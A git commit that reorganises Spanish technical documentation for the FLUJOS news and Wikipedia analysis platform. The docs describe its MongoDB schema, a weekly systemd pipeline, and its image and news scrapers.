refactor: reorganizar docs y pocs bajo INFO/

- docs/ → INFO/DOCS/CONTEXT/ (documentación técnica en markdown)
- FLUJOS/DOCS/ + FLUJOS_DATOS/DOCS/ → INFO/DOCS/ (txts de arquitectura)
- POCS/ → INFO/POCS/ (pruebas de concepto)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
CAPITANSITO 2026-04-21 23:49:33 +02:00
parent 83f67b76b4
commit 954f47996f
33 changed files with 0 additions and 0 deletions

View file

@ -0,0 +1,223 @@
# MongoDB — Contexto técnico FLUJOS
**Fecha:** 2026-04-21
**Instancia:** `mongodb://localhost:27017` (solo localhost, no expuesto)
**Base de datos:** `FLUJOS_DATOS`
---
## Colecciones y esquema
### `wikipedia`
Artículos scrapeados de la API de Wikipedia por temas.
```json
{
"_id": ObjectId,
"archivo": "Nombre_del_articulo.txt", // UNIQUE INDEX — clave de dedup
"tema": "guerra global",
"subtema": "alianzas militares",
"texto": "Contenido completo del artículo...",
"fecha": ISODate | null
}
```
### `noticias`
Artículos scrapeados de ~90 medios internacionales (ver scraper de noticias).
```json
{
"_id": ObjectId,
"archivo": "titulo-noticia.txt", // UNIQUE INDEX
"tema": "guerra global",
"subtema": "conflictos internacionales",
"texto": "Texto limpio de la noticia...",
"fecha": ISODate | null
}
```
### `torrents`
Documentos de WikiLeaks y otros torrents de documentos filtrados.
```json
{
"_id": ObjectId,
"archivo": "documento.pdf.txt", // UNIQUE INDEX
"tema": "...",
"subtema": "...",
"texto": "...",
"fecha": ISODate | null
}
```
### `imagenes`
Imágenes analizadas por Qwen3-VL-8B. Solo se crea un doc cuando el modelo ha generado descripción.
```json
{
"_id": ObjectId,
"archivo": "cambio_climatico_003.jpg", // UNIQUE INDEX
"image_path": "/var/www/.../IMAGENES/output/wiki_images/cambio_climatico/cambio_climatico_003.jpg",
"tema": "cambio climático",
"subtema": "calentamiento global",
"texto": "descripción generada por Qwen3-VL...",
"keywords": ["glaciar", "deshielo", "ártico"],
"fecha": ISODate("2026-04-21")
}
```
### `imagenes_wiki`
Imágenes scrapeadas de Wikipedia SIN análisis Qwen. Fallback cuando `imagenes` no tiene el doc.
```json
{
"_id": ObjectId,
"archivo": "cambio_climatico_003.jpg", // UNIQUE INDEX
"image_path": "/var/www/.../output/wiki_images/cambio_climatico/cambio_climatico_003.jpg",
"image_url": "https://upload.wikimedia.org/...",
"tema": "cambio climático",
"subtema": "glaciares árticos",
"descripcion_wiki": "Descripción Wikimedia del fichero",
"articulo_titulo": "Calentamiento global",
"fecha": ISODate("2026-04-21")
}
```
### `comparaciones`
Pares de documentos con su similitud calculada. ~52M documentos existentes.
```json
{
"_id": ObjectId,
"noticia1": "Nombre_articulo_A.txt",
"noticia2": "Nombre_articulo_B.txt",
"porcentaje_similitud": 23.45 // float, % de palabras compartidas
}
```
**IMPORTANTE:** Esta colección NO tiene índice único porque los 52M docs existentes pueden tener duplicados. Las escrituras usan `update_one(..., upsert=True)` por `(noticia1, noticia2)`.
### `pipeline_log`
Estado de ejecución del pipeline maestro. Un doc por ejecución de fase.
```json
{
"_id": ObjectId,
"fase": "scraping" | "analisis" | "comparacion",
"estado": "en_progreso" | "completado" | "error",
"inicio": ISODate,
"fin": ISODate | null,
"stats": {
"wikipedia_nuevos": 15,
"noticias_nuevos": 230,
"imagenes_wiki_nuevas": 60
}
}
```
---
## Índices únicos
Creados automáticamente por `pipeline_maestro.py::setup_indices()`:
```
wikipedia.archivo UNIQUE ASC
noticias.archivo UNIQUE ASC
imagenes.archivo UNIQUE ASC
imagenes_wiki.archivo UNIQUE ASC
```
El campo `archivo` es el nombre del fichero (ej: `"Guerra_del_Golfo.txt"`). Es la clave de deduplicación en todos los upserts.
---
## Volumen aproximado (2026-04-21)
| Colección | Docs aprox. | Tamaño |
|---|---|---|
| wikipedia | ~5.000 | ~50 MB texto |
| noticias | ~20.000 | ~200 MB texto |
| torrents | ~500 | ~10 MB |
| imagenes | ~150 | 1 MB (solo metadatos) |
| imagenes_wiki | ~500 | 2 MB |
| comparaciones | ~52.000.000 | ~3.2 GB |
| pipeline_log | <100 | <1 MB |
---
## Consultas frecuentes desde la API
### Query de nodos (FLUJOS_APP.js línea 6794)
```javascript
// Filtro base
{ tema: "guerra global", subtema: "...", texto: { $regex: "...", $options: 'i' } }
// Con fechas
{ ..., fecha: { $gte: new Date("2024-01-01"), $lte: new Date("2024-12-31") } }
```
### Query de enlaces (línea 147155)
```javascript
{
porcentaje_similitud: { $gte: 20.0 },
noticia1: { $in: [...nodeIds] },
noticia2: { $in: [...nodeIds] }
}
```
---
## Conexión desde Node.js
```javascript
// FLUJOS_APP.js
const mongoUrl = process.env.MONGO_URL || 'mongodb://localhost:27017';
const dbName = process.env.DB_NAME || 'FLUJOS_DATOS';
const client = new MongoClient(mongoUrl);
await client.connect();
const db = client.db(dbName);
```
Configuración en `.env`:
```
MONGO_URL=mongodb://localhost:27017
DB_NAME=FLUJOS_DATOS
```
---
## Conexión desde Python
```python
from pymongo import MongoClient
client = MongoClient('mongodb://localhost:27017', serverSelectionTimeoutMS=5000)
db = client['FLUJOS_DATOS']
```
---
## Temas definidos en el sistema
Los temas son etiquetas fijas asignadas durante el scraping/tokenización:
```
"guerra global" → subtemas: conflictos internacionales, guerras civiles, terrorismo, armas, alianzas militares
"inteligencia y seguridad"→ subtemas: inteligencia, ciberseguridad, espionaje, seguridad nacional, contraterrorismo
"cambio climático" → subtemas: cambio climático, desastres naturales, conservación, energía renovable, escasez de agua
"demografía y sociedad" → subtemas: sobrepoblación, enfermedades, migraciones, urbanización, despoblación rural
"economía y corporaciones"→ subtemas: economía global, corporaciones multinacionales, comercio internacional, organismos financieros, desigualdad económica
"otros" → documentos que no encajan en ningún tema
```
La asignación la hace `pipeline_completo.py::asignar_tema_y_subtema()` buscando palabras clave en el texto.
---
## Ruta del dato físico
```
MongoDB FLUJOS_DATOS
└── imagenes_wiki / imagenes
└── image_path → /var/www/theflows.net/flujos/FLUJOS_DATOS/IMAGENES/output/wiki_images/{tema_slug}/{archivo}
servido como → https://theflows.net/wiki-images/{tema_slug}/{archivo}
```

View file

@ -0,0 +1,266 @@
# Pipeline Maestro — Contexto técnico FLUJOS
**Fecha:** 2026-04-21
**Archivo:** `FLUJOS_DATOS/pipeline_maestro.py`
**Scheduler:** systemd timer (semanal, domingos 3:00 AM)
---
## Visión general
El pipeline maestro orquesta las tres fases del sistema en orden estricto:
```
FASE 1 — SCRAPING
├── Wikipedia (main.py) → colección wikipedia
├── Noticias (main_noticias.py) → colección noticias
└── Imágenes Wikipedia (wikipedia_image_scraper.py) → colección imagenes_wiki
FASE 2 — ANÁLISIS
├── Qwen3-VL imágenes (pipeline_imagenes.py --analizar) → colección imagenes
└── Tokenización texto (pipeline_mongolo.py) → colección noticias/wikipedia (actualiza)
FASE 3 — COMPARACIÓN
└── Similitud entre documentos (pipeline_completo.py) → colección comparaciones
```
---
## Ejecución
```bash
# Ejecución completa (las 3 fases)
/var/www/theflows.net/flujos/FLUJOS_DATOS/myenv/bin/python3 pipeline_maestro.py
# Solo una fase
python pipeline_maestro.py --solo-fase scraping
python pipeline_maestro.py --solo-fase analisis
python pipeline_maestro.py --solo-fase comparacion
# Forzar re-ejecución ignorando cooldown de 20h
python pipeline_maestro.py --forzar
python pipeline_maestro.py --solo-fase scraping --forzar
```
---
## Control de estado — MongoDB `pipeline_log`
Cada fase registra inicio, fin y stats en la colección `pipeline_log`:
```json
{
"fase": "scraping",
"estado": "completado" | "en_progreso" | "error",
"inicio": ISODate("2026-04-20T03:00:00Z"),
"fin": ISODate("2026-04-20T04:15:00Z"),
"stats": {
"wikipedia_nuevos": 45,
"noticias_nuevos": 312,
"imagenes_wiki_nuevas": 60
}
}
```
### Lógica de "¿necesita correr?"
```python
def fase_necesita_correr(db, fase, forzar=False):
if forzar: return True
ultimo = db['pipeline_log'].find_one({'fase': fase}, sort=[('inicio', -1)])
if not ultimo: return True # nunca corrió
if ultimo['estado'] != 'completado': return True # última ejecución falló
if utcnow() - ultimo['fin'] < timedelta(hours=20):
return False # cooldown activo
return True
```
---
## Lockfile — prevención de instancias simultáneas
```python
LOCK_FILE = Path("/tmp/flujos_pipeline.lock")
class PipelineLock:
def __enter__(self):
self._f = open(LOCK_FILE, "w")
fcntl.flock(self._f, fcntl.LOCK_EX | fcntl.LOCK_NB) # non-blocking
# Si ya hay lock → BlockingIOError → log.error + sys.exit(1)
```
Si el pipeline muere abruptamente, el lock se libera automáticamente cuando el proceso termina (el SO libera todos los file locks del proceso muerto).
---
## Índices de deduplicación (idempotente)
```python
def setup_indices(db):
indices = {
"wikipedia": [("archivo", ASCENDING)],
"noticias": [("archivo", ASCENDING)],
"imagenes": [("archivo", ASCENDING)],
"imagenes_wiki": [("archivo", ASCENDING)],
# comparaciones: SIN índice único (52M docs con posibles duplicados)
}
for col, keys in indices.items():
db[col].create_index(keys, unique=True, background=True)
```
Se ejecuta al inicio de cada pipeline. `create_index` es idempotente — no falla si el índice ya existe.
---
## Fase 3 — Modo incremental
La comparación usa el flag `--desde` para solo comparar documentos nuevos:
```python
ultima = ultima_ejecucion_completada(db, "comparacion")
if ultima:
args = ["--desde", ultima.strftime("%Y-%m-%d")]
# pipeline_completo.py solo procesa docs con fecha >= ultima ejecución
```
Esto evita re-comparar los 52M pares existentes en cada ejecución.
---
## Systemd — configuración
**Archivos instalados en `/etc/systemd/system/`:**
### flujos-pipeline.service
```ini
[Unit]
Description=FLUJOS Pipeline Maestro
After=network.target mongod.service
Requires=mongod.service
[Service]
Type=oneshot
User=capitansito
WorkingDirectory=/var/www/theflows.net/flujos/FLUJOS_DATOS
Environment=MONGO_URL=mongodb://localhost:27017
Environment=DB_NAME=FLUJOS_DATOS
ExecStart=/var/www/theflows.net/flujos/FLUJOS_DATOS/myenv/bin/python3 \
/var/www/theflows.net/flujos/FLUJOS_DATOS/pipeline_maestro.py
TimeoutStartSec=43200
StandardOutput=journal
StandardError=journal
[Install]
WantedBy=multi-user.target
```
### flujos-pipeline.timer
```ini
[Unit]
Description=Timer semanal para FLUJOS Pipeline Maestro
[Timer]
OnCalendar=Sun *-*-* 03:00:00
Persistent=true
OnBootSec=2min
[Install]
WantedBy=timers.target
```
`Persistent=true` hace que si el servidor estaba apagado el domingo a las 3:00, el timer se dispara 2 minutos después del siguiente arranque (`OnBootSec=2min`).
### Comandos de gestión
```bash
# Ver estado del timer
systemctl status flujos-pipeline.timer
# Ver logs del último pipeline
journalctl -u flujos-pipeline.service -n 100
# Lanzar manualmente
systemctl start flujos-pipeline.service
# Habilitar/deshabilitar timer
systemctl enable flujos-pipeline.timer
systemctl disable flujos-pipeline.timer
# Ver cuándo es la próxima ejecución
systemctl list-timers flujos-pipeline.timer
```
---
## Cooldown y tiempos esperados de ejecución
| Fase | Cooldown mínimo | Tiempo estimado |
|---|---|---|
| scraping | 20h | 26h (depende de medios accesibles) |
| analisis | 20h | 14h (Qwen en CPU es lento: ~3 min/imagen) |
| comparacion | 20h | Variable (incremental: 30 min / full: varios días) |
---
## Resumen de estadísticas al final
Al completar, el pipeline imprime en el log:
```
Estado MongoDB:
wikipedia : 5,234
noticias : 21,456
imagenes : 150
imagenes_wiki : 500
comparaciones : 52,100,000
```
---
## Log del pipeline
```
FLUJOS_DATOS/pipeline_maestro.log → log principal (en .gitignore)
```
También visible en journald:
```bash
journalctl -u flujos-pipeline.service --since "2026-04-20"
```
---
## Dependencias Python
```
pymongo
bson # ObjectId (incluido con pymongo)
fcntl # stdlib Python
argparse # stdlib Python
subprocess
```
El pipeline maestro solo llama a los sub-scripts vía `subprocess.run()`, no importa sus módulos directamente.
---
## Flujo completo diagram
```
pipeline_maestro.py
├── setup_indices(db) # crea índices únicos
├── [FASE 1] fase_scraping()
│ ├── subprocess: WIKIPEDIA/main.py
│ ├── subprocess: NOTICIAS/main_noticias.py
│ └── subprocess: IMAGENES/wikipedia_image_scraper.py --flujos --max 20 --mongo
├── [FASE 2] fase_analisis()
│ ├── subprocess: IMAGENES/pipeline_imagenes.py --analizar --carpeta ... --mongo
│ └── subprocess: COMPARACIONES/pipeline_mongolo.py
└── [FASE 3] fase_comparacion()
└── subprocess: COMPARACIONES/pipeline_completo.py [--desde YYYY-MM-DD]
```

View file

@ -0,0 +1,98 @@
# FLUJOS — Documentación técnica
**Última actualización:** 2026-04-21
**Proyecto:** Plataforma libre de análisis y visualización de flujos de información
**Stack:** Node.js + Express + MongoDB + Python (BERT, Qwen3-VL) + Three.js/3d-force-graph
---
## Índice de documentos
| Documento | Contenido |
|---|---|
| [SEGURIDAD.md](SEGURIDAD.md) | Informe de vulnerabilidades (NoSQL injection, XSS, rate limiting...) + fixes |
| [MONGODB.md](MONGODB.md) | Esquema de colecciones, índices, volúmenes, consultas frecuentes |
| [VISUALIZACION_JS.md](VISUALIZACION_JS.md) | Frontend Three.js, API endpoint, nodos imagen Sprite, scripts por vista |
| [SCRAPER_IMAGENES_QWEN.md](SCRAPER_IMAGENES_QWEN.md) | Scraper Wikipedia imágenes + analizador Qwen3-VL-8B (carga, batch, resume) |
| [SCRAPER_WIKIPEDIA.md](SCRAPER_WIKIPEDIA.md) | Scraper artículos Wikipedia, tokenización BERT, temas y keywords |
| [SCRAPER_NOTICIAS.md](SCRAPER_NOTICIAS.md) | Scraper de ~90 medios internacionales, traducción, limpieza, ficheros adjuntos |
| [PIPELINE_MAESTRO.md](PIPELINE_MAESTRO.md) | Orquestador 3 fases, systemd timer, lockfile, estado MongoDB, cooldowns |
---
## Arquitectura en una página
```
Internet
nginx (theflows.net:443, TLS Let's Encrypt)
├── / → FLUJOS/VISUALIZACION/public/ (estáticos)
├── /api/ → proxy → Node.js :3000
└── /wiki-images/ → (Node.js sirve estáticos de IMAGENES/output/wiki_images/)
Node.js — FLUJOS/BACK_BACK/FLUJOS_APP.js
└── GET /api/data → MongoDB FLUJOS_DATOS
MongoDB localhost:27017 — FLUJOS_DATOS
├── wikipedia (~5k docs)
├── noticias (~20k docs)
├── imagenes (~150 docs, analizadas con Qwen)
├── imagenes_wiki (~500 docs, solo metadatos scrapeados)
├── comparaciones (~52M pares de similitud)
└── pipeline_log (estado de ejecuciones)
Python Pipeline (systemd timer — domingos 3:00 AM)
FLUJOS_DATOS/pipeline_maestro.py
├── Fase 1: scraping (Wikipedia + noticias + imágenes)
├── Fase 2: análisis (Qwen3-VL + tokenización BERT)
└── Fase 3: comparación (similitud coseno entre documentos)
```
---
## Variables de entorno (.env en FLUJOS/BACK_BACK/)
```
MONGO_URL=mongodb://localhost:27017
DB_NAME=FLUJOS_DATOS
PORT=3000
```
---
## Rutas críticas del servidor
```
/var/www/theflows.net/flujos/
├── docs/ # esta documentación
├── FLUJOS/
│ ├── BACK_BACK/FLUJOS_APP.js # servidor Node.js
│ └── VISUALIZACION/public/ # frontend estático
├── FLUJOS_DATOS/
│ ├── pipeline_maestro.py # orquestador
│ ├── myenv/ # Python venv (~2 GB, en .gitignore)
│ ├── WIKIPEDIA/main.py # scraper Wikipedia
│ ├── NOTICIAS/main_noticias.py # scraper noticias
│ ├── IMAGENES/
│ │ ├── wikipedia_image_scraper.py # scraper imágenes
│ │ ├── image_analyzer.py # Qwen3-VL
│ │ ├── pipeline_imagenes.py # orquestador imágenes
│ │ ├── model_cache/ # Qwen descargado (~16 GB, .gitignore)
│ │ └── output/wiki_images/ # imágenes en disco (.gitignore)
│ └── COMPARACIONES/
│ ├── pipeline_completo.py # cálculo de similitud
│ └── pipeline_mongolo.py # tokenización + inserción MongoDB
└── .gitignore # excluye datos pesados del repo
```
---
## Seguridad — prioridades pendientes
1. 🔴 **Aplicar `sanitizeParam()`** en FLUJOS_APP.js para prevenir NoSQL injection
2. 🔴 **Cambiar `'0.0.0.0'` por `'127.0.0.1'`** en `app.listen()` para cerrar puerto 3000
3. 🟠 **Reemplazar `innerHTML` por `textContent`** en output_int_sec.js y 3dscript_eco-corp.html
4. 🟠 **Añadir `express-rate-limit`** al endpoint `/api/`
5. 🟡 **Activar `helmet()` completo** (no solo CSP) para quitar `X-Powered-By`
Ver [SEGURIDAD.md](SEGURIDAD.md) para código de fix completo.

View file

@ -0,0 +1,271 @@
# Scraper de Imágenes + Analizador Qwen3-VL — Contexto técnico FLUJOS
**Fecha:** 2026-04-21
**Directorio:** `FLUJOS_DATOS/IMAGENES/`
**Entorno:** `FLUJOS_DATOS/myenv/` (Python 3.11, venv)
---
## Componentes del módulo
```
FLUJOS_DATOS/IMAGENES/
├── wikipedia_image_scraper.py # Descarga imágenes de Wikipedia por tema
├── image_analyzer.py # Analiza imágenes con Qwen3-VL-8B
├── image_comparator.py # Compara imágenes (similaridad visual)
├── mongo_helper.py # Utilidades MongoDB para este módulo
├── pipeline_imagenes.py # Orquestador del módulo (flags CLI)
├── requirements_imagenes.txt # Dependencias del módulo
├── model_cache/ # Modelo Qwen descargado (~16 GB) — en .gitignore
└── output/
└── wiki_images/ # Imágenes descargadas — en .gitignore
├── cambio_climático/
├── geopolítica_conflictos/
├── seguridad_internacional_espionaje/
└── ...
```
---
## Parte 1: wikipedia_image_scraper.py
### Qué hace
Descarga imágenes de Wikipedia por tema usando la **Wikimedia REST API**. Para cada tema de FLUJOS busca artículos relacionados, extrae las imágenes de cada artículo y las descarga filtrando iconos/logos pequeños.
### Temas de FLUJOS que se scrapean (`TEMAS_FLUJOS`)
```python
TEMAS_FLUJOS = [
"cambio climático",
"geopolítica conflictos",
"seguridad internacional espionaje",
"libertad de prensa periodismo",
"corporaciones poder económico",
"populismo extremismo",
"desinformación redes sociales",
"privacidad vigilancia masiva",
"biodiversidad medioambiente",
"inteligencia artificial tecnología",
]
```
### Filtros de calidad (imágenes que se descartan)
```python
MIN_WIDTH = 200 # pixels
MIN_HEIGHT = 200 # pixels
MIN_BYTES = 20_000 # 20 KB mínimo
SKIP_PATTERNS = [
"flag_", "Flag_", "icon", "Icon", "logo", "Logo",
"symbol", "Symbol", "coat_of_arms", "commons-logo",
"wiki", "Wiki", "question_mark", "edit-", "nuvola",
"Nuvola", "pictogram", "OOjs", "Ambox", "Portal-", "Disambig",
]
VALID_EXTENSIONS = {".jpg", ".jpeg", ".png", ".webp"}
```
### Flujo interno
```
buscar_articulos(tema, lang='es')
└── GET https://es.wikipedia.org/w/api.php?action=query&list=search&srsearch={tema}
└── para cada artículo:
get_article_images(titulo)
└── GET https://es.wikipedia.org/w/api.php?action=query&prop=images
└── para cada imagen:
get_image_info(filename) → Wikimedia API
└── descarga si pasa filtros
└── guarda en output/wiki_images/{tema_slug}/
└── upsert en MongoDB imagenes_wiki
```
### Deduplicación
Upsert por `archivo` (nombre del fichero) en MongoDB `imagenes_wiki`. Si el fichero ya existe en disco, se salta la descarga.
### Uso CLI
```bash
# Scrape de todos los temas FLUJOS, max 20 imgs/tema, con MongoDB
python wikipedia_image_scraper.py --flujos --max 20 --mongo
# Scrape de un tema concreto
python wikipedia_image_scraper.py --tema "cambio climático" --max 30 --mongo
# Con idioma inglés
python wikipedia_image_scraper.py --tema "climate change" --lang en --max 40
```
### Documento MongoDB generado (colección `imagenes_wiki`)
```json
{
"archivo": "cambio_climático_003.jpg",
"image_path": "/var/www/theflows.net/flujos/FLUJOS_DATOS/IMAGENES/output/wiki_images/cambio_climático/cambio_climático_003.jpg",
"image_url": "https://upload.wikimedia.org/wikipedia/commons/...",
"tema": "cambio climático",
"subtema": "derretimiento glaciar ártico",
"descripcion_wiki": "Glaciar en retroceso en el Ártico, 2019",
"articulo_titulo": "Cambio climático en el Ártico",
"fecha": ISODate("2026-04-21")
}
```
---
## Parte 2: image_analyzer.py (Qwen3-VL-8B)
### Modelo usado
**Qwen/Qwen2.5-VL-7B-Instruct** (HuggingFace)
- Tamaño: ~16 GB en disco (bfloat16)
- Inferencia: CPU (sin GPU disponible actualmente)
- RAM necesaria: ~1618 GB para el modelo + ~2 GB por batch de 4 imágenes
- Cache local: `IMAGENES/model_cache/`
> El servidor tiene 64 GB RAM, por lo que cabe sin problema. En GPU (A100/RTX 3090+) sería 1050x más rápido.
### Carga del modelo
```python
from transformers import Qwen2_5_VLForConditionalGeneration, AutoProcessor
import torch
model = Qwen2_5_VLForConditionalGeneration.from_pretrained(
"Qwen/Qwen2.5-VL-7B-Instruct",
torch_dtype=torch.bfloat16, # mitad de RAM vs float32
device_map="cpu",
cache_dir=str(IMAGENES_DIR / "model_cache"),
)
processor = AutoProcessor.from_pretrained(
"Qwen/Qwen2.5-VL-7B-Instruct",
cache_dir=str(IMAGENES_DIR / "model_cache"),
)
```
### Prompt de análisis
```python
PROMPT = """Analiza esta imagen y proporciona:
1. Una descripción concisa del contenido principal (máx. 2 frases).
2. El tema principal (elige uno): cambio climático, conflicto armado, economía, política, tecnología, sociedad, otro.
3. Lista de 3-5 palabras clave relevantes.
Formato de respuesta:
DESCRIPCIÓN: [descripción]
TEMA: [tema]
PALABRAS CLAVE: [kw1, kw2, kw3]"""
```
### Procesamiento por batch
```python
def analyze_batch(image_paths: list[Path]) -> list[dict]:
"""Procesa hasta 4 imágenes por llamada al modelo."""
```
`batch_size=4` por defecto. Cada batch ocupa ~2 GB RAM adicionales.
### Resume automático
Antes de analizar, verifica qué imágenes ya están en MongoDB `imagenes`:
```python
def get_already_analyzed() -> set[str]:
"""Devuelve set de nombres de archivo ya en la colección imagenes."""
return {doc['archivo'] for doc in db['imagenes'].find({}, {'archivo': 1})}
```
Solo procesa imágenes no presentes en la BD.
### Priorización de imágenes
```python
def get_known_article_titles() -> set[str]:
"""Títulos de artículos presentes en wikipedia/noticias."""
# Prioriza imágenes cuyo tema coincide con artículos existentes
```
Las imágenes de temas con más documentos de texto en la BD se procesan primero, para maximizar la probabilidad de que los nodos imagen queden conectados por comparaciones.
### Documento MongoDB generado (colección `imagenes`)
```json
{
"archivo": "cambio_climático_003.jpg",
"image_path": "/var/www/.../output/wiki_images/cambio_climático/cambio_climático_003.jpg",
"tema": "cambio climático",
"subtema": "calentamiento global",
"texto": "Imagen satelital del retroceso del glaciar ártico entre 1990 y 2023. Se observa una reducción significativa de la capa de hielo.",
"keywords": ["glaciar", "ártico", "deshielo", "calentamiento", "satélite"],
"fecha": ISODate("2026-04-21")
}
```
---
## Parte 3: pipeline_imagenes.py (orquestador)
### Flags CLI
```bash
python pipeline_imagenes.py --scrape # solo scraping de imágenes
python pipeline_imagenes.py --analizar # solo análisis Qwen
python pipeline_imagenes.py --mongo # escribe resultados en MongoDB
python pipeline_imagenes.py --solo-json # escribe JSON local en vez de Mongo
python pipeline_imagenes.py --analizar --carpeta /ruta/custom --mongo
```
### Integración en el pipeline maestro
El `pipeline_maestro.py` lo llama así:
**Fase 1 (scraping):**
```bash
python wikipedia_image_scraper.py --flujos --max 20 --mongo
```
**Fase 2 (análisis):**
```bash
python pipeline_imagenes.py --analizar \
--carpeta FLUJOS_DATOS/IMAGENES/output/wiki_images \
--mongo
```
---
## Dependencias Python (requirements_imagenes.txt)
```
transformers>=4.45
torch>=2.1
qwen-vl-utils
Pillow
requests
pymongo
scikit-learn
python-dotenv
```
Instalación en el venv:
```bash
/var/www/theflows.net/flujos/FLUJOS_DATOS/myenv/bin/python3 -m pip install -r requirements_imagenes.txt
```
---
## Estado actual (2026-04-21)
- Imágenes en disco: ~155 imágenes en `output/wiki_images/` (10 temas × ~15 imgs)
- Imágenes en `imagenes_wiki` (MongoDB): ~150 docs
- Imágenes analizadas con Qwen en `imagenes` (MongoDB): proceso en curso / pendiente de primera ejecución completa
- El modelo Qwen se descarga automáticamente la primera vez que se llama (~16 GB, puede tardar 3060 min)
## Pendiente / mejoras futuras
- Conectar nodos imagen a la colección `comparaciones` (requiere embeddings de imagen o comparación texto-descripción)
- Activar GPU cuando esté disponible (cambiar `device_map="cpu"``"cuda"`)
- Aumentar `--max` a 50+ imágenes por tema una vez el análisis esté validado
- Añadir soporte para imágenes de noticias (no solo Wikipedia)

View file

@ -0,0 +1,270 @@
# Scraper de Noticias — Contexto técnico FLUJOS
**Fecha:** 2026-04-21
**Archivo:** `FLUJOS_DATOS/NOTICIAS/main_noticias.py`
**Entorno:** `FLUJOS_DATOS/myenv/` (Python 3.11, venv)
---
## Qué hace
Scraper web recursivo que:
1. Visita ~90 URLs de medios de comunicación internacionales
2. Explora sus páginas recursivamente hasta profundidad 6
3. Descarga artículos (texto) y ficheros adjuntos (PDF, CSV, DOCX, XLSX, ZIP)
4. Traduce a español si el contenido está en otro idioma
5. Limpia y tokeniza con BERT
6. Guarda en disco y MongoDB (`noticias`)
---
## Lista de fuentes (90 medios)
```python
urls = [
# Bases de datos de investigación
'https://reactionary.international/database/',
'https://aleph.occrp.org/', # OCCRP — periodismo de investigación
'https://offshoreleaks.icij.org/', # ICIJ — paraísos fiscales
# Prensa española
'https://www.publico.es/', 'https://www.elsaltodiario.com/',
'https://elpais.com/', 'https://www.elmundo.es/', 'https://www.abc.es/',
'https://www.lavanguardia.com/', 'https://www.elconfidencial.com/',
'https://www.eldiario.es/', 'https://www.rtve.es/', ...
# Prensa internacional
'https://www.nytimes.com/', 'https://www.theguardian.com/',
'https://www.lemonde.fr/', 'https://www.spiegel.de/',
'https://www.washingtonpost.com/', 'https://www.aljazeera.com/',
'https://www.bbc.com/', 'https://www.reuters.com/',
'https://www.ft.com/', 'https://www.economist.com/', ...
# Prensa tech / seguridad
'https://www.wired.com/', 'https://www.theregister.com/',
'https://www.arstechnica.com/', 'https://www.zdnet.com/',
'https://www.cyberdefensemagazine.com/', 'https://www.darkreading.com/', ...
]
```
Total: ~90 URLs seed. Cada una se explora recursivamente hasta 6 niveles de profundidad.
---
## Flujo de scraping recursivo
```python
def explore_and_extract_articles(url, articles_folder, files_folder,
processed_urls, size_limit, depth=0, max_depth=6):
```
```
para cada URL seed:
explore_and_extract_articles(url, depth=0, max_depth=6)
└── HTMLSession.get(url).html.render() # ejecuta JavaScript con Chromium headless
para cada link encontrado:
if link ya procesado: skip
processed_urls.add(link)
if extensión es PDF/CSV/DOCX/XLSX/ZIP/HTML/MD:
download_and_save_file(link, files_folder)
else:
extract_and_save_article(link, articles_folder)
explore_and_extract_articles(link, depth+1) # recursivo
if tamaño total > 50 GB: parar
explore_wayback_machine(url, articles_folder) # fallback Wayback Machine
```
### Renderizado JavaScript
Usa `requests-html` con Chromium headless (Pyppeteer) para renderizar páginas que cargan contenido con JavaScript. Esto permite scraping de medios que usan SPA/React.
```python
session = HTMLSession()
response = session.get(url, timeout=30)
response.html.render(timeout=30, sleep=1) # espera 1s a que cargue el JS
links = response.html.absolute_links
```
---
## Extracción y limpieza de artículos
```python
def extract_and_save_article(url, articles_folder):
response = requests.get(url, timeout=30)
soup = BeautifulSoup(response.content, 'html.parser')
title = soup.find('title').get_text().strip()
paragraphs = soup.find_all('p')
content = ' '.join([p.get_text() for p in paragraphs])
translated = translate_text(content) # → español
cleaned = clean_text(translated) # → limpieza + stopwords
filename = clean_filename(title) + '.txt'
guardar en articles_folder/filename
```
### Traducción automática
```python
from deep_translator import GoogleTranslator
def translate_text(text):
return GoogleTranslator(source='auto', target='es').translate(text)
```
Usa Google Translate vía `deep-translator`. Detecta idioma automáticamente. Fallo → devuelve el texto original sin traducir.
### Limpieza de texto
```python
def clean_text(text):
text = re.sub(r'<!\[\s*CDATA\s*\[.*?\]\]>', '', text, flags=re.S) # CDATA
soup = BeautifulSoup(text, 'html.parser')
text = soup.get_text(separator=" ") # HTML → texto plano
text = text.lower()
text = re.sub(r'http\S+', '', text) # elimina URLs
text = re.sub(r'[^a-záéíóúñü\s]', '', text) # solo letras + espacios
text = re.sub(r'\s+', ' ', text).strip()
words = [w for w in text.split() if w not in STOPWORDS]
return ' '.join(words)
```
---
## Procesamiento de ficheros descargados
```python
def process_files(files_folder, destination_folder):
for file in os.walk(files_folder):
if .pdf: content = read_pdf(file_path) # PyPDF2
elif .csv: content = read_csv(file_path) # csv.reader
elif .txt: content = open(file_path).read()
elif .docx: content = read_docx(file_path) # python-docx
elif .xlsx: content = read_xlsx(file_path) # openpyxl
elif .zip: content = read_zip(file_path) # zipfile
elif .html/.md: content = format_content(html2text)
translated = translate_text(content)
cleaned = clean_text(translated)
tokenize_and_save(cleaned, file, destination_folder)
```
---
## Tokenización BERT
```python
from transformers import BertTokenizer
tokenizer = BertTokenizer.from_pretrained('dccuchile/bert-base-spanish-wwm-cased')
def tokenize_and_save(text, filename, destination_folder):
tokens = tokenizer.encode(text, truncation=True, max_length=512, add_special_tokens=True)
tokens_str = ' '.join(map(str, tokens))
open(f'{destination_folder}/{filename}', 'w').write(tokens_str)
```
Mismo modelo BERT en español que el scraper de Wikipedia. Trunca a 512 tokens.
---
## Deduplicación por URL
```python
def register_processed_notifications(base_folder, urls):
"""Lee/escribe processed_articles.txt para evitar re-procesar URLs."""
txt_path = os.path.join(base_folder, "processed_articles.txt")
processed_urls = set(open(txt_path).read().splitlines())
urls_to_process = [u for u in urls if u not in processed_urls]
# Añade nuevas URLs al fichero
return urls_to_process
```
Las URLs ya procesadas se guardan en `NOTICIAS/processed_articles.txt`. Esto es la deduplicación a nivel de seed URL, pero NO previene artículos duplicados desde diferentes URLs.
---
## Límites configurados
```python
FOLDER_SIZE_LIMIT = 50 * 1024 * 1024 * 1024 # 50 GB máximo en disco
max_depth = 6 # profundidad recursiva máxima
```
---
## Estructura de ficheros en disco (ignorada por git)
```
FLUJOS_DATOS/NOTICIAS/
├── articulos/ # .gitignore — .txt por artículo scrapeado
├── archivos/ # .gitignore — PDF, CSV, DOCX, etc. descargados
├── tokenized/ # .gitignore — IDs BERT por documento
├── processed_articles.txt # .gitignore — URLs ya procesadas
├── noticias_procesadas.txt # .gitignore
├── main_noticias.py
└── docs.txt
```
---
